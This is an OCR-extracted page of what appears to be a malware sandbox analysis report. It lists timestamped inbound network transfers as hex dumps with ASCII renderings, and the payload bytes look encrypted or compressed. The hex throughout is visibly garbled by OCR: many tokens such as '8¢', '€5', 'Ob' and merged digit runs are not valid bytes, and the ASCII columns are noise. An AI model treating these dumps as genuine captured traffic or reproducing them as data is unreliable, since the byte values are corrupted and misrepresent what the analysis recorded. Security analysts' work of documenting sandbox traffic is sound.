2021-09-13 23:07:18 UTC 251 IN Data Raw: 69 61 60 69 1b 08 fb cf 2c aa 4c bc 46 5f 03 8¢ ¢7 8a ae 48 €5 98 d7 a6 02 ca 9d Ob b9 44 96 55 50 63 fc 62 19
46 d8 0b fa b2 d5 21 fc 7 16 3e 4a Ob 35 6d 66 fe 65 98 3b 72 bf a9 57 fd 2e 73 7c 1d d2 fc 36 96 a9 a0 e2 42 7e dd 6e 3d
f0 30 93 b2 a5 c3 83 88 6e 4b b3 1f 24 a7 a0 b0 4d 25 10 0f 1c d6 80 f1 99 78 7a 7b 8a 7e cf fe 7e 91 37 b0 eb e5 f6 5a 40
c6 0a 02 b8 2d 76 07 e8 6¢ aa 2b b5 30 73 2f fc 11 9e 1d 16 cfeb ca 76 60 el 5¢ bc 67 4d 53 81 c2 19 38 e0 cb ed b4 11
2e 1d 19 Ob 9a b2 8a 08 69 16 25 1a 6b ce 15 02 2b e8 fc a2 ff 1d fb 7e b4 8b b3 ce 37 fb 4c ae b5 52 20 c9 fa c8 65 a9 a0
14 8d 53 de ce ed ad 5d 2c a7 4e 11 1f dd e3 a0 8c b4 Oe e7 al db 72 c0 4d 3a fd e7 29 49 1b 9c Of cf db fO d1 3d 49 94
72 bl 6f a5 35 e3 2f 00 15 47 8f a9 ac 9b c2
Data Ascii: ia'i,LF_HDUPCcbF!>J5mfe;rW.s|6B~n=0nK$M%xz{~~7Z@-vI+0s/v'\gMS8.i%k+~7LR eS],NrM:)I=Iro5/G

Copyright Joe Security LLC 2021 Page 61 of 91



kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 252 IN Data Raw: Oa 5c 1e 60 62 7f 75 5d 17 19 ba 28 38 cd 9c eb 67 91 ca 15 13 7c 79 10 1f c0 8d al 87 7d de 3f 1a f1 53 2d 54
61 b2 09 6b c4 41 a0 69 ee 7a e3 d5 02 ba 9e 67 7d 30 e4 8a b3 6¢ f4 12 50 38 c0 14 5b ef 92 44 52 e4 eb 91 1a 91 18 aa
391656 a0 a2 11 12 a8 e0 68 ee 11 7d 39 bd 1c ee 46 6¢ d1 31 86 48 cd 65 e7 fa 27 12 31 bc 9f 94 cc ab e6 a6 cf f1 cl
38 16 01 6f a3 15 22 €5 d9 24 4e 70 54 94 12 45 al 8e 06 2c ¢8 55 91 f5 90 4a e0 22 56 07 2d ec 70 83 5e 4e 55 b2 65 44
b0 45 e0 88 87 f0 6b 81 c3 24 2e be 70 40 b6 05 4b 1e 5f f1 3e f6 d6 ee 33 1b 1b d9 85 c¢7 51 f2 5d 8c c5 4a dc a7 86 30
4e 3b 53 a4 1b d2 d8 96 c3 6¢ 9d 9c a3 56 7b 11 5e 67 85 26 19 80 6b 0f a4 21 e0 0b f1 f9 39 Oe c6 03 6f 1f ab 1f 36 12 3d
30 64 a8 b9 31 be 47 9a d6 c3 93 a0 32 72 45 85 24
Data Ascii: \'bu](8g|y}?S-TakAizg}0IP8[DRIVh}9FI1He'180"$NpTE,UJ"V-p NUeDEk$.p@K_>3Q]JON;SIV{*g&k!90
6=0d1G2rE$

2021-09-13 23:07:18 UTC 253 IN Data Raw: 93 df b6 02 70 41 13 cf 56 1f 2d 51 5¢ 3f 15 30 73 01 78 5a a8 Ob 9a 7a c2 6d 7a e8 d7 b4 d8 f2 18 a3 9a ba 6¢
5f 85 bb 2b 9f 14 fd e4 05 fd dc 04 d5 d6 1e 14 18 {3 f5 09 cf b0 32 85 b8 28 2a 7 c4 a3 87 02 23 22 2a 34 18 36 d6 24 84
2d fd Oe fa 1f 17 1e 33 22 b7 27 c6 a5 b0 b2 82 22 87 2a a7 6d a5 Oe 21 af 1f 34 c4 e8 cc f8 d8 ed 09 34 07 c6 cc ee cd 97
56 13 fe cd 4e 64 9d cc 3c 7e 78 76 e6 eb 6b 7d 22 f2 b9 b1 2a ec 7 4e ea c0 d6 c5 9e 0f 87 3d 70 7e 70 fb 83 70 ca 45
72218179 b583 73 ac 0d a5 99 7a 82 de b1 f9 fb 6a c4 4c 57 24 95 7d 73 a7 57 d2 2d c3 49 73 eb 33 aa 09 db d2 69 44
f958 23 7b 24 71 98 d4 17 e7 eb Oe b0 81 ca 9c 40 ad 5e 20 bd 9b 5a 27 ab 31 e6 62 98 8f 59 ac 4a d2 10 22 da fd 07 69
a6 e5 b7 94 d5 6a 5c cf Oc 91 90 Oe Ob 13 7b 59
Data Ascii: pAV-Q\?0sxZzmz|_+2(*#"*46$-3""*m!44VNd<~xvk}"*N=p~ppErlyszjL W$}sW-Is3iDX#{$q@" Z'1bYJ"ij\{Y

2021-09-13 23:07:18 UTC 255 IN Data Raw: 77 b8 35 0a 42 c7 fb e4 f9 59 14 0f 8f d9 9e a2 29 ae 1b f3 d2 c9 87 1e 38 62 bd 9d cd d6 85 86 18 8c bf f4 be
96 f6 9¢ 70 bf be f8 3f cc 32 93 d4 ac 8e db 9c a4 55 d2 27 8f ef 4d a0 9a 08 41 87 4a 55 a5 69 55 7e 2b 94 e2 94 0f 5d 4d
b7 b5 5¢ ¢3 a2 dc 7b 98 e3 7c 5¢ 98 c9 6e 3d 1f a7 bf ad 07 3b 05 61 cd 2d 54 b2 1f ab 17 33 44 7d af 94 2d 34 69 b1 3b
9f 5d c4 4f 83 6¢ 06 fe 6a 5b 5f ac 31 ba fc a4 3b f9 11 3e 94 5e bd f3 32 d8 27 12 33 bb 06 d9 b4 3c 8f d0 6b 42 60 18 48
€6 62 ba 93 0a 9c 2f d9 96 c1 fb 12 05 1f fc 97 69 30 67 b0 b3 89 60 5¢c 50 b9 e4 b2 f6 60 1b €8 87 c3 df 9c 43 83 8b 66 3b
1b 25 2d d4 4e 8b f2 8b f1 10 75 c5 4b 26 8a Ob ¢8 d9 98 29 65 62 2a a4 17 30 5d 52 Ob {7 70 ee 21 31 b4 a3 5b 35 01 8d
ea 15 89 fe 58 a4 ea 33 7d f6 21 a6 55 7e 93
Data Ascii: w5BY)8bp?2U'MAJUIU~+]M\{|\n=;a-T3D}-4i;]Olj[_1;>"2'3<kB Hb/i0g"\P"Cf;%-NuK&)eb*0]Rp!1[5X3}U~

2021-09-13 23:07:18 UTC 256 IN Data Raw: Ob 27 03 80 f2 18 25 bd 23 f9 da 4e db el 97 ed el ee 9b aa a3 ff ec 52 80 77 10 ea 74 a8 e7 7d 37 04 25 7f 58
81 5a 4e a7 5b 65 ef 7 29 2¢ 39 ec db 3b bb 8f fe 4a b1 01 bf 6b 82 be 7e fe ¢9 14 46 fb d2 c3 8e 37 19 63 fa 95 3e f9 62
b0 35 34 ce eb Oe e5 81 d6 €9 c1 a9 da 80 42 8f 18 de af ff ca 60 86 85 65 48 23 50 df dd a6 c6 52 b5 ed 57 ea 9f fc a9 d7
5c 6¢ b6 98 6¢ cO b2 6d f7 17 88 f8 bc 88 f1 ¢8 f1 89 16 02 58 19 al 47 6a a7 Ob 2e ce ae a7 7b bc 85 65 91 3e bc 8b ba
a2 759a a4 7f d3 78 bb 96 d3 76 b4 d5 74 09 1c 51 1c bb c4 4a 07 62 34 92 4b 3c 24 46 4b 17 3e ac be 8f 03 13 f0 3a cl1
3 44 6a ba a7 dd 74 e5 fc aa 70 4c d8 ce 1a el 3f b2 6e 91 b4 51 e4 6a a9 c8 c8 b2 25 4b 50 79 51 93 7c 2f 19 94 b8 16
cd f2 b0 b6 02 8f 1c 79 €3 28 92 b6 02 9c 4b e4
Data Ascii: '%#NRwt}7%XZN[e),9;Jk~F7c>b54B eH#PRW\IImMXGj.{e>uxvtQIb4K<$FK>:DjtpL?nQj%KPyQ|/y(K

2021-09-13 23:07:18 UTC 257 IN Data Raw: 37 5¢ 53 30 8f 3e el ed 3a 57 4a 1f a3 d2 71 dd d8 53 15 3d Ob 50 8a e4 19 ce Oc 05 55 b3 5¢ b7 10 a5 44 Of ff
b6 cf 91 1d da 78 6f 37 73 97 df 69 bb 90 54 dd 8e 38 50 48 49 a9 c7 89 59 28 5e 8e 9f 54 84 ¢8 70 dO d0 96 c8 23 9c 5d
3d 8f 11 c0 93 9b 52 39 92 8a f3 98 c2 6a 90 9f 69 9f 5f ac 9c 2b 16 5f 4f 7e a4 93 87 79 b4 c5 5¢ 88 d1 35 43 4e 28 ad 98
04 e3 45 c9 c8 07 77 Oe 96 54 db 93 79 37 Oc 7f fa 13 5a 19 c¢7 de 99 33 €6 af 7d c9 73 6d 60 f6 14 18 c1 83 bd 21 11 ff ad
8b 4e ca b7 1f 86 c1 2b 54 6f 07 b6 85 €5 31 c3 Oe 86 a2 64 95 7 7c 9d f6 a2 95 b1 ca d6 aa 4f 3d 18 0d 5e b1l 4e 48 e0
65 78 ac ee b0 7d 77 07 4f el c0 02 da e2 32 80 31 d8 a3 9c cd 3e 8c 1b 93 df ef fe 4e €8 98 03 6¢ 10 c1 €9 32 37 31 9b fS
Oc 24 Oc 2f 4d 9f 43 ca 19 c8 Ob 77 f4 €5 2a
Data Ascii: 7\S0>:WJqS=PU\Dx07siT8PHIY("Tp#]=R9ji_+_O~y\5CN(EwTy7Z3}sm’IN+Told|O="NHex}wO21>NI271$/M
Cw*

2021-09-13 23:07:18 UTC 258 IN Data Raw: 08 27 6e ec 44 7c ff ¢9 97 ed 64 Oe f0 51 f1 c9 88 fd ea 89 6e 4f df 0Oa 46 d2 32 31 2d ba 06 9f 10 d3 5b 94 f1 ac
a8 90 ce 18 b2 24 04 f5 c1 c0 6a c7 d2 69 f7 ac 9e 93 b2 1b 48 22 42 00 70 69 1b 41 ea bc 84 af c9 39 53 f0 dd 3e 7b 78
d2 9f fb da 69 03 ab c6 1b el d6 32 c7 91 1c 9c 24 bd a6 07 a9 a7 a3 4e 40 bd 5f 92 75 72 f1 cf 5f ee ce bc 6e 96 fe 70 f4
5d 2c 2d 9a f9 30 82 b7 1b 2f b9 39 a4 49 fe 22 el 1b 78 4d 07 ed bb 3 0f 56 ee dc 17 72 e2 18 d1 fe 41 c3 fc aa 65 f9 8¢
9c e6 71 c6 f4 09 38 eb 1a db 88 f3 Oe ba 93 16 28 17 8d 99 07 ae 80 47 Oe 7c 39 2a 89 18 5b e7 b0 le 7a f0 27 1f db fa
7a 1d 31 bc 9f 96 cc bb 68 eb 3b 64 a3 cf eb 1b 52 1a ea cf bd 98 69 ¢5 b0 19 ad 6b Oe 03 15 4e 2c 8d 0d ee be 5b a6 65
ba eb 54 9a 99 f1 76 f4 3a e0 4d 84 a5 6d aa
Data Ascii: 'nD|dQnOF21-[$jiH"BpiA9S>{xi2$N@_ur_np],-0/91"xMVrAeq8(G|9*[z'z1h;dRikN,[eTv:Mm

2021-09-13 23:07:18 UTC 260 IN Data Raw: f7 25 6¢ 86 fe 6¢ 75 b2 79 ad b2 c¢7 b4 89 be ac d7 be al 50 6¢ e3 3e f8 bb 39 98 e4 ea d5 el 26 ce b2 e2 8a
7345 a2 c0 le 04 27 49 6d a2 88 74 94 4f 61 31 Oe 6f 8e 42 37 fe c2 36 bf 1a 03 3a 5b 28 d6 4b 0d 3a 70 ec fO Ob e6 32
03 56 4e 07 14 bf d5 6a 7a 77 98 48 39 9c 62 58 €2 33 74 47 cd 84 64 18 d6 03 35 5e 59 86 6a 71 5e 3f 84 b3 be 76 c4 aa
1305 11 4c 4f dO 1f 29 9a ed e4 18 cb a4 1e Of eb 1e 2a a9 3e c9 c4 67 6e 16 11 c6 94 80 5d 79 6f Oc 7e bb 05 1b 09 05
ef e6 b4 08 25 05 ab 31 b7 e0 ef e4 c2 2e 09 25 8f ce ae 7b 4a a3 dd 14 7d 9b ec f2 2b 14 2b bd Oe 02 51 4b c4 ac 6a 2c
0f 64 09 1f 9c db c1 Oc 2e 9b 00 f7 b7 06 cd cf 58 cb 1c 2f 13 61 b3 a6 5¢ €3 33 ¢3 d8 c8 a6 0d 21 16 bl 56 a0 6f 7e 53 2c
5b ca 26 4a 9f c0 27 33 ¢8 cd 09 21 46 38 f7 54 ae ed
Data Ascii: %lluyPI>9&sE'ImtOaloB76:[(K:p2VNjzwHObX3tGd5"Yjg ?vLO)*>gn]yo~%1.%{J}++QKj,d.X/a\3!Vo~S,
[&J'3!IF8T

2021-09-13 23:07:18 UTC 261 IN Data Raw: f5 2b 32 55 29 16 16 0b 5 2b 39 bd 5f 5a 44 84 e4 d3 27 c2 1c a9 66 d9 52 9b 4d 19 9a 6a 62 f3 29 98 6b ea
49 8 ec d4 b5 ce 15 2f 90 8a 76 d6 d1 eb 6¢ 05 e2 58 28 8f 2a 0d 82 ¢6 d5 cb 0a 8d 8d 23 b5 98 1f 51 79 56 5e 03 de 64
3773 9c df c1 64 84 3d 68 bb 5f b0 67 f6 53 85 1c 5d 8a 63 21 a3 21 06 4d d2 fc d4 09 53 4b 10 7c 16 6¢ f1 cc c9 14 8¢
8d a9 1e 64 77 fb e8 2b 02 ff eb 5d 86 0a ad 72 5b Of 6 77 50 ce da {7 cd af 4d 78 93 db da 4a el 6b 09 64 48 6d dc 33 df
ea b8 f7 03 4a 55 d2 7 02 80 23 94 €2 55 a6 7b 13 Oa df ¢4 4b bf d1 91 9d 8d bd 78 51 98 92 3d 1f 2¢ 67 07 8d 8f 77 9b
05 41 ¢7 7f ec a4 eb 17 bf fb 8d 2f b8 62 10 15 b3 el 7d 8e 6d 35 b9 18 94 Oe 01 d5 92 85 73 01 c5 e4 b2 41 b7 06 1d 75
73 5d 1e 23 91 €9 7a 23 78 6f a4 5¢ 66 3b c9 06 9e bl
Data Ascii: +2U)+9_ZD'TRMjb)KINVIX(*#QyVAd7sd=h_gS]cMSK|ldw-+]r[wPMxJKdHmM3JU#U{KXQ=,gwA/blm5sAus#z#xolf;

2021-09-13 23:07:18 UTC 262 IN Data Raw: 17 35 ea 05 Oe 13 eb 4c 9c 92 60 b6 d5 75 4a 4f cf cc 8f eb b0 94 7e 33 39 7f 31 36 b7 75 bf c3 e4 f9 08 ee 45
0d 13 9b af 88 e5 80 62 7d 47 a6 36 4c ab e7 00 99 ab fc fd 9d b5 7a 50 a7 05 f1 fe bd 3f 62 13 70 af 47 ad de 89 b7 37 Oe
1ce317 42 7d caf9 64 c1 37 a3 6f 8e b6 87 c4 59 3¢ 5¢ 40 c6 8¢ 40 18 af 4a a9 15 28 b2 29 ae 98 09 5¢ c4 5¢c 27 23 8b
0a 32 05 f3 d9 bc 1c b0 33 6a b2 Oc 0a a3 e2 Oc ce 82 77 ¢7 8d 10 82 aa 82 el 28 66 d4 38 01 a8 e7 33 e6 68 95 al 6d
00 8d 50 f3 3c 45 44 0a 82 81 5b 2b 8¢ ae 1e 7e 81 5b a2 ed c6 5d 4c a2 21 c2 6b 94 92 12 53 36 71 40 19 52 29 c1 9f 0d
70 fO af 6f b7 a6 6¢ 4a 36 bd ae 75 ba 7c b6 30 9e 17 8c 2e 55 5a 45 6a 42 d7 7 be 1d 06 d1 1d b8 4c 48 62 69 Oa d3 5f
€594 46 f4 7e 7b 29 9 41 89 f5 4c¢ 81 52 d5 a9 92 b5
Data Ascii: 5L uJO~3916UEb}G6LzP?bpG7B}d70Y<\@@J()\#23jw(f83hmP<ED[+~[]L!kS6q@R)polJ6u|0.UZEjBLHbi_F~
DALR

2021-09-13 23:07:18 UTC 263 IN Data Raw: 02 56 7b 2a 0Ob 8d 2b 11 33 d6 cb b0 f7 04 b6 e4 11 2a e6 5¢ 31 7f 10 66 20 el 8e 2c 43 3f 5b b8 4d ce b5 aa
2d 85 56 1a 2c 22 ac 5 dc 6e d4 29 80 53 b4 60 23 bb 1d c1 60 93 b0 98 05 78 €0 d3 98 Ob 07 29 7e ed 48 d1 76 90 94
ed 7f cb Oe 1f 86 35 a7 59 9e 3a 88 dc b6 ef e0 a5 22 f6 3d 04 dd 51 e5 06 76 28 49 9e 35 58 88 6f 73 bd c1 9c 35 Oc ea
74 6b 65 40 61 93 dO 18 f9 30 19 59 48 6¢ 95 ba 6d d8 51 df 97 f3 3e c8 a6 e4 b0 f9 e3 67 03 1d 35 7e 86 ff 19 88 b9 d5
7d 82 da f8 8 8e c3 de ¢3 bd 7c 74 d6 8d fb 91 dd 3b 3a de 97 3d 63 1f a9 87 f4 f2 07 66 87 85 d1 22 99 92 €9 ee 18 Oe
6d e5 41 f8 2f 05 d0 3e 02 6¢ ae 28 74 b1 f2 1d 81 60 67 88 b4 86 83 c1 ae 2e b9 69 aa 30 89 76 22 22 ed bd a5 ef 2a ec
16 fd 3d da eb 6b 00 7c f2 23 b3 1c 9a 3b 98 e4 96 94 34 a2
Data Ascii: V{*+3*\1f ,C?[M-V,"n)S # X)~Hv5Y:"=Qv(I5X0s5tke @a0YHImQ>g5~}|t;:=cf'mA/>I(t g.i0v""*=k|#;4
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 265 IN Data Raw: 8d ed fc 43 12 f9 86 bl cf 16 fb 41 64 8c 12 04 74 da 2b 5b 8c da ab 14 8e 09 98 dc 5a b4 24 f0 75 11 cc Oc b1
5d 68 Oc 5b df d3 03 64 c4 76 e2 6a bd 2c c0 f6 c5 12 35 a9 fa 47 d4 60 8b 98 f4 20 aa 29 83 d6 8c 68 00 f2 37 5f 3b da 2d
29 38 25 e3 6e bb 5d ff 20 db 44 18 a5 3a 7a Oc 54 9d be 0f Oa f6 €2 96 5f e2 39 15 67 39 98 9c 38 a0 9b 20 87 22 63 b0
46 79 bc 8b 5c 76 a8 2f 73 45 37 ff 55 7d ac 62 6¢ 30 3c 5f 04 40 84 46 8b 81 09 3f 2c 34 f8 b9 1c de 5 ad 81 8d 6d 5b 05
cd 5c¢ f7 19 12 83 ba 87 7a 30 08 22 ab 94 4d a8 9f 33 40 e0 29 ef 8b e5 1e 28 cd 8d 8b bb 62 6a f2 ad 16 a3 4b 4f 83 cc
15 24 52 f9 bf fe 90 58 66 3e 5f d9 69 00 8f 71 94 e4 ad 04 a7 87 7d 3d 5d c2 82 11 4d 65 c0 ed 57 24 7 {7 e2 48 90 09 7a
4e el 00 6d c4 86 6e 93 9b 67 6b €9 ee 6a c6
Data Ascii: CAdt+[Z$u]h[dv},5G" )h7_;-)8%n] D:zT_9g98 "cFy\v/SE7U}bl0<_@F?,4m[\z0"M3@)(bjKOSRXf>_iq}
=]MeW$HzNmngkj

2021-09-13 23:07:18 UTC 266 IN Data Raw: b7 7b 00 9e 79 3d d5 2c d1 98 f1 0a 9a 8b a3 52 e4 04 d0 a8 c6 34 f1 70 da 70 c5 11 fa 69 05 02 fe 5e b8 49
a7 3b 97 aa 58 58 0d de 96 55 36 9f ba 8e 08 09 6a 90 90 91 e3 96 56 fe 29 d7 38 99 da 7e 9c Oc 16 f5 bl f7 cb 84 51 29
5c 64 5f 03 8¢c 02 a7 d2 b6 1a 67 78 c0 76 f1 b8 ef 2e 33 7a bd 98 93 79 94 35 46 71 98 c8 30 2c 3a 7f 32 f9 5f 7 42 33 75
68 36 95 16 b0 77 90 68 40 76 dd 83 c5 a7 28 6a 7e 02 9a 95 90 d1 3d c0 61 2c bd c2 86 a2 64 85 da 52 f0 64 64 57 34
c8 7f cd 8b 60 17 d3 17 00 07 0d 10 5a f5 1e 4d Ob 4a b1 06 2a 16 {7 e9 ef ea 3a 7f b8 21 c¢5 0b 06 96 f9 39 10 al ff 5e 5b
9351 7d 8e f3 e4 Oe 10 cO el 3a 40 1d el af f4 54 ee 4c 4b 67 7f 49 12 2f fc e6 cc ba c4 fc 5e ba c2 8b cd 99 49 3e e6 35
€9 0a b0 84 b5 67 99 55 fb ¢4 01 16 1e 37 4a b0 5¢
Data Ascii: {y=,R4ppi*;XXU6jV)8~Q)\d_gxv.3zy5Fq0,:2_B3uh6wh@v(j~=a,dRddW4 ZMJ*:19"[Q}: @ TLKgl/A1>5gU7J\

2021-09-13 23:07:18 UTC 267 IN Data Raw: 4c cf 7c 67 91 2c¢ 20 c5 dd 68 db f7 48 02 b5 31 €5 67 33 09 46 f4 65 63 5¢c 99 68 ae 87 cf fe 84 48 2e bd 98 ec
b4 ce 83 91 44 ab 9f 79 af 84 ¢5 80 3e df 21 2f 2b f5 da 64 1e 46 60 a8 5 cc 2b 81 62 63 2d 6b a8 87 74 4e 9c 7e 2a fd 84
07 cf 60 4f 16 ad 90 7c 88 0a 29 e6 a3 dc 5a 7b 4d 85 17 17 51 c1 74 ee 6a 69 a7 d4 73 Of ac a6 74 c2 03 6e bl e8 4e c3
6 Oc 2e 8a 80 5f 50 2e a9 bc Oc 55 d2 d7 Oe 60 04 14 be 1a 3a 47 7f 5a €9 91 07 25 b9 b2 2b 98 17 80 50 dd 45 83 21 41
db Oe 6¢ b4 fd 31 1a 25 96 d8 71 7a d2 ef 74 7b 9a 53 b7 58 ee 6b 6e fc 30 a8 27 19 29 1a c3 38 14 84 ca 02 ee 9f bd d8
eb 5a 4e 3c 04 00 91 5¢ 1b 25 28 bf 90 88 de 6f 38 6f 7e €8 f2 c4 48 74 Oe 48 f0 8¢ 87 ec b6 2c 1d 91 6d 42 3f 07 4c bc 64
95 d1 5¢ 38 5d 85 €9 7254 a3 17 52 c1 a4 1b be
Data Ascii: L|g, hH1g3Fec\hH.Dy>!/+dF +bc-ktN~*"O|)Z{MQtjistnN._P.U":GZ%+PE!Al1%qzt{SXkn0')8ZN<\%(08
0o~HtH,mB?Ld\8]rTR

2021-09-13 23:07:18 UTC 269 IN Data Raw: 20 cd 46 39 28 Oc d6 29 36 63 90 f8 ef d4 fb 49 64 30 fO ba 33 6d f4 06 ae 3f 46 8c ec 05 9b 16 39 1b f0 6e d5
ab 3a fa 49 56 2e 0d bb 6e 11 59 3f 13 40 a0 a5 d7 le 4f b7 c6 e0 2d 35 9b 12 05 15 93 df ef 5d 77 d7 8e 58 53 10 d2 5d
49 77 72 de d6 el 12 58 67 4d 56 16 41 f5 e8 16 37 bc b6 19 97 f9 cc 98 15 9a 0d 17 7d 60 3c 1e 3c 12 06 f4 cf 68 15 0d
60 aa 78 89 61 89 b3 1e 39 70 29 26 ff ¢3 54 cf fa bc 8¢ 58 9b 15 fa 9d Oc 63 59 8b f5 d2 c4 bd e0 cb fe 1a 49 44 75 e6 6e
4f de 46 98 d8 18 bd 59 4a 92 Ob 9c 84 f4 cf 7a 10 ec 5e 49 5b 3a 3c 2a 30 69 43 e4 eb 95 19 be d3 3b 2b 54 4d 80 0d 64
94 8d d3 3e 46 ba c8 b0 7f fd 33 79 ac 53 b5 a4 59 c2 90 fd fc 30 6f 14 ed 30 a0 78 88 44 2e 49 50 72 87 c4 00 55 72 de
b1 fd 9b 61 2c a4 27 b7 51 71 7d af a0 1b 71 a2 38
Data Ascii: F9()6cld03m?F9In:IV.nY?@O0-5]wXS]lwrXgMVA7} <<h'xa9p)&TXcYIDunOFYJz I[:<*0iC;+TMd>F3ySY0o
0xD.IPrUra,'Qq}q8

2021-09-13 23:07:18 UTC 270 IN Data Raw: f3 04 81 95 5e le 25 8d 2c 62 c4 2a ff c6 ae b5 99 da 2d ef e5 86 17 fc 09 e2 16 09 c6 58 3d 13 64 69 d7 04 62
93 60 03 d8 Ob 7e 2d c1 Oe 36 df 5f €9 50 ae f7 71 fd bb b3 a3 1b 19 32 8b 9c e8 ef 8e 0d 12 al c9 e5 ff 37 cf 58 02 80 63
1113 d3c259 1b b3 a7 b0 12 6b 72 9¢c 57 38 29 1d c8 c5 1f 70 e2 55 51 69 a9 e7 5b a6 43 8d a6 37 78 Oe 63 d1 b9 49 6f
a2 8c ec d7 80 86 b0 23 5e 05 ca ce b2 17 59 3f 49 83 e2 80 6b 4a 2f 51 db 3b 90 ce 28 1c 96 24 c6 53 a6 cf 98 67 e4 3d
1f e0 32 7f 6e 6b 24 60 59 78 de e4 5d af 11 30 38 82 7f 28 a0 6f 5f 35 4a fO ab c6 98 5b 47 f5 ff 7f ¢7 59 43 31 fb 88 ee ef
0Oa al 05 d2 ea 82 fa 9d d0 ad Ob 3a 63 23 93 60 b7 ab 95 b2 e4 14 2e ef 92 1f 4b 05 03 5¢c ea 19 1f b5 a5 91 ee 10 f7 7¢
6c 2b 1d 33 7f 88 €5 19 71 bl a3 42 96 Oe f1
Data Ascii: %,b*-X=dib’~-6_Pq27XcYkrw8)pUQI[C7xclo#"Y?IkJ/Q;($Sg=2nk$ Yx]08(0o_5J[GYC1:c# .K\[[+3qB

2021-09-13 23:07:18 UTC 271 IN Data Raw: 28 4c f7 fa 54 b5 7c 4a 64 2a 41 61 78 06 42 30 a2 b2 87 3d dc 42 95 54 ee fa a0 41 85 6f a8 €9 1d 43 34 26
6d a5 Oe 21 34 eb 98 84 e8 ff 2a 47 13 d4 34 9b d8 48 26 cf 9f 9f 17 f6 86 4f 41 a6 cc b6 89 cO c7 05 18 24 45 52 16 03 bc
9f e0 7c Ob 15 f3 bf e4 79 13 fb fe 9c b5 9b d6 6b 3 db 9a 7 78 80 bc 94 fc 3 66 61 17 cc ec 7c de 3b Oe fb 03 c4 4c 57
9c 24 65 83 51 75 20 08 3b 8a 50 €3 db 3d 3c 1b 8d b4 dd 36 2c 1b 9b 16 07 e0 dc ff c9 eb 57 ef 54 61 d6 47 2a ae 32 21
f4 2d 27 20 a6 f4 78 f2 f1 07 ac Oa 4a ef dd a6 71 13 2f 8e d2 5¢ c2 3e 61 82 82 Ob d9 29 9d b4 18 19 7d 4d b5 7c a2 db
33491 61 69 81 66 2a 2a 2a fb 9e 7b a5 63 47 32 55 ca 53 69 f2 6d c0 01 fa c4 ff 1b 17 57 24 Oc 09 99 d9 f7 50 00 38 42
2d d2 4e 14 d8 7e 4a 9a bl 3a 65 f8 ec 00 a7 73
Data Ascii: (LT|Jd*AaxBO=BTAoC4&m!4*G4H&OASER|ykxfa|;LW$eQu ;P=<6,WTaG*2!-' xJg/\>a)}M|3laif**{cG2U
SimW$P8B-N~J:es

2021-09-13 23:07:18 UTC 272 IN Data Raw: 06 c4 75 3e 52 51 84 42 75 55 7f b4 94 d7 5d ae 27 ed 9b a8 6e 18 7b 98 62 6f 5¢ f9 50 5 c2 0a 30 a5 b2 82
6b 81 ed fc 5b ce 90 0a 0f 54 b6 4c 77 0a 37 dd c7 ed 40 c2 f4 5a ac ¢8 34 7c f9 dd 92 4a 41 52 44 19 c7 bd 6e f9 23 2f 7b
9e d8 77 88 27 32 Oe c2 3d 56 02 14 e9 29 f2 2¢c 3e dd eb 30 90 e9 82 82 f9 23 65 ac 91 02 be bb 54 c0 8 54 e2 f6 5a b3
3249 14 de 53 4a 85 1e bc 63 07 e6 81 27 b3 73 ¢8 6f 00 18 ¢3 42 fd 12 €8 cb 23 32 ¢3 9b 9b 18 46 d5 26 c4 d5 eb al e2
9c 1c b4 a0 d9 fc da e0 80 a5 c8 66 84 de 68 ed ab 9f 77 98 3a 97 22 18 1a 8d 2f ea 01 Oe 48 23 a5 40 1d 9d 5¢ 9¢ 92 90
eb 28 81 d3 f2 86 9a 1d dc b8 05 7d 86 21 97 2b €3 56 f0 3b 82 67 73 81 f5 bb ad el 4e 81 4a 80 31 3e 57 65 ec c3 a6 08
67 3c 24 30 f3 aa ef 4b 7c 18 1e fc eb 94 9e 95 cd 1b
Data Ascii: u>RQBuU]'n{bo\POK[TLW7 @Z4|JARDn#/{w'2=V),>0#eTTZ2ISJc'soB#2F&fhw:"/H#@\(}!+V;gsNI1>Weg<$0K]|

2021-09-13 23:07:18 UTC 274 IN Data Raw: 77 da 9e 3b 1b b1 e4 72 c8 9a fe ab d6 16 8e 8e 99 d6 74 84 1b 8d 11 5a 39 1f 84 5¢ 12 15 42 81 8a 53 33 a6
60 70 0d fa 03 c9 38 48 f8 57 a7 ¢c6 f4 61 23 65 e4 aa 69 ac d7 09 18 2f cd 6d b5 bl 6d f7 c2 26 5 d4 a9 4b c9 85 6b e2 47
a8 9a 50 ff 07 e0 Oa d3 ef 8¢ 32 79 16 85 79 fa ¢l cc 75 cf c4 f9 5e 64 7f 1c 7b bb 96 dd f7 4c db 9a c1 97 57 cf b1 30 08 fO
9d b7 3e 17 43 1a ba a3 04 ch d8 Oc 97 7a 2d 5c ¢6 91 1b 0d 9f 78 2¢ 7b 78 eb d0 5¢ cd b4 1c b3 16 6¢ 9a c2 8e 97 4a 2b
db 93 e7 54 bl cd 65 b4 cd
Data Ascii: w;rtZ9\BS3 p8HWa#ei/mm&KkGP2yyu d{LW0>Cz-\x,{x\IJ+Te

2021-09-13 23:07:18 UTC 274 IN Data Raw: 13 ff 74 82 89 Oe 8c 5¢ €7 b2 67 da 96 8b 7a 7f 10 1b ab 33 Oe 7b 82 b6 e6 €6 7a d8 5f 44 1e Oe 62 el 70 ec
e8 ab bb 85 01 3c ee 49 66 22 61 58 2f 8a b3 ca c5 bf a6 18 ¢7 98 1e 1b 3d d9 c0 27 de 81 b4 8c 93 ae fd e4 a5 d2 6¢ 21
€1 80 2b Ob 50 bb 09 2a 56 7d 53 a3 24 5c 74 06 16 4f 1f 24 8f 2f 36 bd c9 8c e8 79 fe 36 28 51 Oc 4b 45 6 88 a5 4c 88 02
7d 04 7a b0 02 ee €3 86 al a6 71 8d d3 51 8b f6 9a 2e 2e 41 e7 1b f3 a6 97 12 6b e7 e8 a0 a5 d3 6e 7a f2 b9 5¢ 9f ¢7 53
3e 8 18 2e 41 ¢9 f0 4d fd 1d 7c d4 a4 5d f8 7a 9b 89 90 ec 07 8e 8f 2b 65 60 ca 6f c9 68 5a d7 f5 00 23 e0 ec 75 d3 27 e3
ch 43 78 3e 91 ef 22 ¢1 55 ac 66 78 ea 7c 35 €0 19 77 96 ca e0 99 d9 f7 d1 76 ec db a7 c9 33 ¢7 Ob a7 eb 44 6¢ 5b bd 93
d6 5d c4 6¢ de 50 f9 74 0f 39 b6 bb ba 65 fc €8 b2
